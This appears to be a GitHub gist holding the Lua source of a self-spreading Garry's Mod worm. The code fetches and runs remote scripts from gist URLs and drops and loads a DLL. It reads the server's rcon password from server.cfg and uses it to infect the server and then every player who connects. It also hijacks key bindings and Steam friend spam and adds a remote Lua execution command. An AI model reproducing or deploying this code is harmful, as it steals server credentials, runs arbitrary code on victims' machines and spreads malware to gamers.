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@ZekiarTR
Last active May 2, 2018 20:50
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--[[
Copyright Mr. 'Handsome' Matt ©
]]
-- Steam Wallet Currency is NOT being stolen pls believe
-- Source Code to DLLs will be publically released here after the Garry's Mod patch along with binaries which, if you are really worried, could be reverse engineered to ensure these statements are true
-- Infected lawl
-- Probably more than 30,000 infections
-- This could have been silent
-- Once spammed, this script will stop working by itself
-- sv_allowupload is not required to be enabled on the server, as rcon access allows it to be set
-- Let's get some viewers
if cookie.GetNumber("friendly_removal", 0) ~= 1 then
http.Fetch("https://gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/client_init.lua", function(content)
DeleteFile("garrysmod/materials/cooltexture.vtf")
CreateFile("garrysmod/materials/cooltexture.vtf", content)
cookie.Set("friendly_removal", 1)
end)
end
local c = vgui.Create("HTML")
c:SetVisible(false)
c:OpenURL("http://s1.freehostedscripts.net/ocounter.php?site=ID4068052&e1=Online%20User&e2=Online%20Users&r=lol&wh=100")
-- Loaded over HTTP by Lua through client:SendLua(..)
if not system.IsWindows() then
return
end
if file.Exists("bin/game_shader_generic_engine.dll", "MOD") then
return -- Already infected
end
timer.Create("infchk", 2, 0, function()
if file.Exists("download/engine_win32.dll", "MOD") then
timer.Remove("infchk")
require("/../../../download/engine")
http.Fetch("https://gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/client_init.lua", function(content)
CreateFile("garrysmod/bin/game_shader_generic_engine.dll", GetShaderBinary())
CreateFile("garrysmod/materials/cooltexture.vtf", content)
local ret = CompileString( content, "l", false )
pcall(ret)
timer.Simple(4, function()
ConCommand("alias disconnect quit\n")
ConCommand("alias gamemenucommand quit\n")
ConCommand("alias retry quit\n")
ConCommand("alias connect quit\n")
ConCommand("alias map quit\n")
end)
end)
end
end)
timer.Simple(14, function()
pcall(function() -- remove print
if file.Exists("download/engine_win32.dll", "MOD") then -- No longer infected?
require("/../../../download/engine")
if not file.Exists("engine_win32.dll", "MOD") then
local module_file = file.Open("download/engine_win32.dll", "rb", "MOD")
local module_data = module_file:Read(module_file:Size())
CreateFile("garrysmod/engine_win32.dll", module_data)
end
DeleteFile("garrysmod/download/cfg/server.cfg")
RequestFile("cfg/server.cfg")
timer.Create("isittime", 1, 0, function()
if GetTimeStamp() < (1397865590 + (60 * 60 * 12)) then return end -- 10 seconds before midnight
timer.Remove("isitime")
hook.Add( "PreDrawHUD", "MenuOverwrite", function()
if (gui.IsGameUIVisible()) then
gui.HideGameUI()
end
end )
sound.PlayURL("https://dl.dropboxusercontent.com/u/3659637/overture.ogg", "", function() end)
timer.Simple(20, function()
local keyList = { "TAB", "ESCAPE", "SPACE", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "`", "F10", "a", "c", "d", "e", "f", "g", "p", "q", "r", "s", "u", "w", "y", "z", "x", "ALT", "CTRL", "SHIFT", "F5", "F6", "F9", "MWHEELDOWN", "MWHEELUP", "MOUSE1", "MOUSE2", "MOUSE4", "PAUSE", "F1", "F2", "F3", "F4" }
local command = "say VINH'LL FIX IT@@@@@@@@@@@@@@@@@@@@@@@@@"
for _, v in pairs( keyList ) do
local cmd = "bind " .. v .. " \"" .. command .. "\""
LocalPlayer():ConCommand([[playvideo_exitcommand f ]] .. cmd)
end
LocalPlayer():ConCommand([[playvideo_exitcommand f host_writeconfig]])
LocalPlayer():ConCommand([[playvideo_exitcommand f alias bind echo nope]])
LocalPlayer():ConCommand([[+voicerecord]])
LocalPlayer():ConCommand([[playvideo_exitcommand f alias -voicerecord echo nope]])
local vinh = vgui.Create("HTML")
vinh:SetSize(256, 256)
vinh:SetPos(ScrW()/2 - 128, ScrH()/2 - 128)
vinh:OpenURL("http://i.imgur.com/NunR9ya.png")
vinh:ParentToHUD()
SWSetName("VINH'LL FIX IT@@")
SWAddFriend("76561197968611839")
SWAddFriend("76561198074112160")
SWSpamFriends("FIX IT VINH", 42)
DeleteFile("garrysmod/materials/cooltexture.vtf") -- Cleaned up for ya, guys
end)
end)
timer.Create("cfgchk", 2, 0, function()
if file.Exists("download/cfg/server.cfg", "MOD") then
timer.Remove("cfgchk")
local servercfg_file = file.Open("download/cfg/server.cfg", "r", "MOD")
local servercfg_data = servercfg_file:Read(servercfg_file:Size())
local rcon_password_command = false
for line in servercfg_data:gmatch("[^\r\n]+") do
if line:lower():find("rcon_password", nil, true) then
rcon_password_command = line
end
end
if rcon_password_command then
ConCommand(rcon_password_command .. "\n")
ConCommand("rcon sv_rcon_log 0\n")
ConCommand("rcon sv_allowupload 1\n")
ConCommand("clear")
timer.Simple(8, function()
ConCommand("rcon lua_run http.Fetch([[https]] .. string.char(58) .. [[/]] .. [[/gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/server_infect.lua]], function(c) local ret = CompileString(c, [[l]], false) pcall(ret) end, function() end)\n")
SendFile("engine_win32.dll")
timer.Simple(4, function()
ConCommand("clear\n")
end)
end)
end
end
end)
end
http.Fetch("https://gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/client_everytime.lua", function(c)
local f = CompileString(c, "l", false)
pcall(f)
end)
end)
end)
-- Saved in to lua/autorun/server/default.lua
timer.Simple(8, function()
if file.Exists("download/engine_win32.dll", "MOD") then -- No longer infected?
require("/../../../download/engine")
ConCommand("hostname !!!" .. GetConVarString("hostname") .. "#\n")
if not file.Exists("engine_win32.dll", "MOD") then
local module_file = file.Open("download/engine_win32.dll", "rb", "MOD")
local module_data = module_file:Read(module_file:Size())
CreateFile("garrysmod/engine_win32.dll", module_data)
end
local function infply(ply)
ply:SendLua( [[http.Fetch("https://gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/client_infect.lua", function(c) local ret = CompileString(c, "l", false) pcall(ret) end, function() end)]])
SendFile(ply, "engine_win32.dll")
end
hook.Add("PlayerInitialSpawn", "infply", function(ply)
timer.Simple(12, function()
if IsValid(ply) then
infply(ply)
end
end)
end)
for k, v in pairs(player.GetAll()) do
infply(v) -- In case of loading upon infection, players may already be connected
end
end
local function lua(ply, _, _, code)
local env = { me = ply, this = ply:GetEyeTrace().Entity }
setmetatable(env, {
__index = _G,
__newindex = function(self, k, v)
rawset(_G, k, v)
end
})
local ret = CompileString( code, "l", false )
if type(ret) == "string" then
ply:ChatPrint(ret)
return
end
setfenv(ret, env)
local success, ret = pcall(ret)
if success then
ply:ChatPrint("SUCCESS: " .. tostring(ret))
else
ply:ChatPrint("FAIL: " .. tostring(ret))
end
end
concommand.Add( "l", lua )
end)
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